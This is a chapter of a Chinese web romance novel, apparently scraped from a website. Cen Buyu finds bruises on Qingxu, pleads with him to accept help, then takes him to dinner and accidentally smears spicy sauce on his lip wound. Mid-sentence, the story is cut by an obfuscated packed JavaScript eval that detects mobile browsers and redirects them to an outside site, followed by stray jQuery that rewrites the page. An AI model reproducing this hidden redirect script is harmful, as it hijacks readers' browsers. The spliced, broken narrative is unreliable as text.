拐角上楼 作品

17.呼~呼~

岑不遇话音落下,车厢内的空气仿佛瞬间凝固,气氛陡然降至冰点。助理察觉情况不妙,赶忙转过头去,整个人被这突如其来的寒意激得打了个冷颤。


清许伸手把口罩另一边从耳朵上摘下来,随后垂眸,将东西折叠好放入兜里,语气平静道:“不小心撞到的,没有谁打我。”


“……?”岑不遇怎么会信他呢?


其实在岑不遇第二次见到清许时,就已经知道清许是个遇事喜欢硬刚的人。虽说对男孩子而言,这种处事方式十分常见,解决问题也最迅速,可往往是杀敌一千,自损八百。


岑不遇像是被一股无形的力量牵引,目光从清许的嘴角缓缓下移,最后停留在他的腰部,心头没来由地一紧。没等大脑反应过来,他便直接伸手掀起清许的衣摆,当看到那白皙肌肤上一片片青紫瘀伤,眉头瞬间紧紧拧成了死结 。


到此,已经无需多言。


“去学校!”岑不遇的语气不容置疑,带着一股无法抗拒的坚定。


清许眉心猛地一跳,神色冷淡地推开对方的手,随后把衣服拉下来,声音里没有一丝温度:“这件事你别管。”


“为什么?”岑不遇追问,目光紧紧锁住清许,“这种人还不处理,难道由着他下次再来找你麻烦?”


清许毫不退缩,直直对上他的眼睛,一字一顿道:“那也是我自己的事,与你无关。”


岑不遇瞬间睁大眼睛,心脏像是被一记重锤狠狠敲击,眼神里满是难以置信与受伤。


两个人就这样对视着,互不相让,空气中弥漫的紧张气氛如熊熊烈火般越烧越旺,仿佛下一秒就要爆发一场激烈的争吵。


清许不喜欢岑不遇插手他的事,任何事。即便对方位高权重,拿捏一个人如同踩死一只蚂蚁般轻而易举。


但他始终觉得,这本就是他原本的生活,理应由他自己主导。即便会撞得头破血流,那也是他活该,他心甘情愿。


助理见两人意见出现分歧,坐在驾驶位上大气都不敢出。良久,他的眼睛悄悄从后视镜瞥过去,当看见平日里雷厉风行、叱咤风云的老板,竟在这场对视中缓缓低下头,整个人都惊呆了。


“你的事……怎么会与我无关呢?”岑不遇垂下眼眸,轻轻握住清许放在腿上的手,“清许,我们是朋友啊。”


清许手指微微颤动了一下。


岑不遇声音里满是恳切与无奈:“作为朋友,我只是不想看到你受伤……我错了吗?”他微微顿了顿,喉结上下滚动,像是在压抑着内心翻涌的情绪,“你伤成这样,我心里又气又疼,真的特别想给对方一个狠狠的教训……清许,你告诉我,这难道不是一个朋友该有的反应吗?”


清许听着这些话,眸色微变,眼底似有暗流涌动,第一次感觉到无措。


朋友,这个词在清许的记忆里,相当陌生。除了高中同学朗朗帮他介绍工作,目前为止,他还没有真正接受过来自其他朋友的善意。


“事情已经结束了,对方也付出了更惨痛的代价。”清许垂眸看着俩人交叠的手,态度终于有一丝松动,“我不想再追究,也不想把你牵扯进来。”


他的话说完,气氛再次陷入沉默。


他们好像是河岸两边的人,不同的家世、教育、处境,让他们心中总是隔着一条难以逾越的鸿沟。


好半晌,寂静的空气中长长地呼出一声叹息,似是将满心的郁气都倾吐而出。


“好……我答应你,不插手这件事。”岑不遇暂时放下这个问题,抓着清许的手放在自己腿上,等到那双红瞳抬起来,他继续道,“那你能不能也答应我,不要再这样冲动。”


清许不说话。他这个人,向来不主动惹事,但他无法制止别人的想法和行为。水来挡水,泥来掩泥,面对无端的恶意与麻烦,这也不过是他保护自己的一种方式。


岑不遇毕竟也是这个年纪过来的,很快知道他在想什么,双手不自觉地握紧:“我知道,有些事情的发生不是你能预料的,但你也别什么事都自己扛啊。上天既然让我们认识,我就是你的资源,为什么不试着适当地依赖......利用我呢,这也是一种选择啊!而且,我们不是有半年之约吗,你总是这样不顾自己安危,万一哪天出了什么意外......”他梗了一下,根本不敢想像那个画面,红着眼眶道,“我该怎么办?我找谁说理去?”


科技公司迎来下班时间,车库内的脚步声与引擎声渐渐多起来。可即便这样,清许还是被岑不遇那略带哭腔的颤音狠狠震住。


他看着眼前带着水光的眸子,心中泛起层层涟漪,另一只手在侧面无意识收紧。那些长久以来筑起的防线,在这一刻开始出现裂痕。


仿佛有个声音在他心底悄然响起。


岑不遇......是真心需要他。


听到有车辆从旁边经过,清许喉结滚动了下,缓缓收回目光。瞥见助理一直盯着他们,扯了扯被攥得有点发疼的手:“你先、放开我......”


岑不遇微微一愣,眼神里闪过一丝迷茫,像是还没从刚刚激动的情绪中缓过神来,下意识地松开了些力道,但却又舍不得完全放手,仿佛一旦松开,就会失去什么无比珍贵的东西。他把清许的手拿到眼前检查,发现被自己勒出几道红印,心疼瞬间涌上心头。


岑不遇小心翼翼地把清许的手放回手心,轻轻搓了搓。即便如此,仍不死心道:“那你答应我。”


清许又看了一眼后视镜,正好跟里面那双偷窥的眼睛对上。助理见状心脏猛地一跳,忙收起视线左看看右看看,手指随意拨弄几下旁边的杂物,假装自己在找东西。清许微微挑眉,脸上闪过一丝不易察觉的无奈。过了一会儿,他才缓缓吐出几个字。


“到时候看情况。”


虽然是模棱两可的回答,但岑不遇知道,清许放进心里了,顿时高兴起来。两个人明明都这么多天没见了,却因为外人差点吵起来。他心里激动,控制不住地在那微微泛红的手背上亲了两下。


嘴唇和掌心都是热的,第一次清许没反应,但是第二次,清许很明显感受到什么软软的东西贴着自己手背。


当看到岑不遇正好抬起头的动作,清许瞳眸睁大了些,触电一般把手抽了回来。岑不遇本来就抓得紧,现在直接顺着力道扑倒在他身上。


后面动作突兀又大,助理完全无法忽视,结果抬眸看到这幅画面,又赶紧捂住眼睛,继续找东西......


清许本来就忙碌了一天,手臂很酸,此刻蹙着眉,没什么耐心地垂眸盯着扒在自己身上的人。


岑不遇眨了眨眼,看着那双冷漠的红瞳狠狠咽了一口唾沫。两秒后,他收手坐正回去,神情错愕,一副投降的姿势。


“……对不起。”


没经同意就吻了你的手,对不起。


清许深吸一口气,沉默地抱着书包又往边上挤了挤,不再给那边任何眼神。


岑不遇抿着唇,知道又把人生气了,双手僵硬地放回腿上,整个局促不安。


心想:死嘴,你可真有本事。


直到助理按下车子启动键,岑不遇才偷偷往旁边瞥了一眼,本想看看清许的状态如何,适不适合现在哄。结果却在对方的耳尖上,看到一抹淡淡的绯色。


随着车辆驶出车库,视线由明亮变得昏黄。男生偏头看着车外,一脸的不高兴,可那绯色却似天空残留的晚霞般悄然晕染在他耳尖,在白皙的肌肤上显得格外惹眼。


岑不遇的嘴角不自觉微微上扬,悬着的心稍稍放下了些。他开始盘算,待会儿该用什么办法才能彻底哄好清许。


把剥好的蟹肉亲手喂到对方嘴里?


然而事与愿违,他选的这家餐厅有全程剥壳服务……


清许吃东西不怎么挑食,馒头也好,山珍海味也罢,对他来说,只不过是填饱肚子。


可看着面前的餐碟换了一次又一次,一会儿是服务生剥好的整只螃蟹,一会儿又换成五只虾,一口两口的,吃得很


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14882184|159435||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


是没劲。


他本来话就少,现在有两个陌生人在包间里,就更加沉默了。


岑不遇看出了他不习惯,目光投向两人旁边的服务生。


“你们先出去吧。”


两个服务生互相看了眼,随后点头恭敬道:“好的,请两位慢用,有需要可以随时叫我们。”


等包厢门重新关上,岑不遇轻轻叹了一口气,目光转向对面的男生:“宝贝儿,你想吃什么,我给你弄。”


他一边说,一边拖着椅子坐到对方旁边。清许眼神古怪地看着他,心想服务生不是才刚走吗。


“说真的,他们家这道爆炒泥螺还可以,沙吐得特别干净。”岑不遇轻轻推着桌子的转盘,把那道菜转到清许面前,“你尝尝。”


清许面无表情地夹了一颗。


“还有这个红烧带鱼,外焦里嫩的,肉质很细腻。”


清许再夹。


“哦,还有这个清蒸石斑……”


清许一一夹到碗里,很快,餐碟就堆起来一座小山。但他不吃,就那么把旁边的人看着,看看对方到底什么时候走。


岑不遇特别喜欢清许微微蹙眉时的样子,那模样有点无奈,为他寡淡的脸上增添了色彩,很是可爱。现在没有外人在场,不用再顾忌什么,岑不遇便撑着脑袋温柔地跟他对视,随后扬起唇问:“宝贝儿,说真的,你这几天……有没有想我?”


“……”早知道不看了。


半天等不到回答,岑不遇也不觉得尴尬,撇了撇嘴:“我可是每天都在想你。”


清许眼皮跳了下,实在不明白吃饭为什么要停下来说这种事,但如果一直不回,岑不遇就会没完没了,于是对上那双眸子:“我知道。”


“你怎么知道?”


“……”清许感觉在跟白痴聊天,滚了滚喉结道,“你贺卡上不是写了吗?”


岑不遇哦了一声,这时突然注意到他嘴角的伤口,伸手拿掉了那碗里的泥螺,随后眼神重新回到清许脸上,继续看着他笑:“我还以为我给你托梦了呢,最近总是梦到你。”


清许很少跟人这样闲聊,不懂岑不遇怎么能面不改色地说出这些话。他望向那双被灯光照得无比明亮的黑眸,却只感受到里面的真挚与热情。


“喜欢粉色玫瑰吗?”


“喜欢。”


“那我以后天天送。”


“摆不下。”


“那我隔几天再送。”


“……”


窗外车水马龙,喧嚣声透过窗户缝隙隐隐传来,与包间内的安静形成极大反差。岑不遇在这静谧氛围中,心里一动,不由自主地伸出大拇指轻轻蹭了蹭清许嘴角的伤口。


“……还疼吗?”


清许的目光不自觉地被他动作牵引,垂着眸,本来想说不疼了,可不知怎的,伤口处突然传来一阵火辣辣的刺痛感。这刺痛来得极为迅猛,像被几千度的熔岩灼烧一般。他的脸色瞬间变得煞白,眉头拧成一个川字,咬紧牙关还是忍不住“嘶”了一声。


岑不遇见状愣住,眼神里满是错愕与慌张。他下意识看向自己的拇指,瞧见上面残余的汤汁,这才反应过来自己刚刚拿过泥螺,忙抽出纸巾给对方擦掉。


“对不起对不起!”


“我不是故意的……”


爆炒泥螺为了压住腥味,里面除了辣椒还有大蒜、生姜等辛辣食物。明明刚刚自己都想起来不能给清许吃,此刻却把汤汁涂在了人家伤口上。


这比直接抹盐杀伤力还要强十倍啊!


“啊……”清许疼得眼眶泛红,细碎的泪花在眼睑里打转。


岑不遇心疼坏了,又是用纸巾沾水给他擦洗,又是用手扇风,手忙脚乱的。最后不知道哪来的念头,竟直接捧起清许的脸,凑近,随后对着伤口就是一阵局部风冷降温。


“呼~呼~不疼了不疼了……”


等到灼烧感慢慢降下来,两人如梦初醒,这才惊觉彼此的距离近得不像话。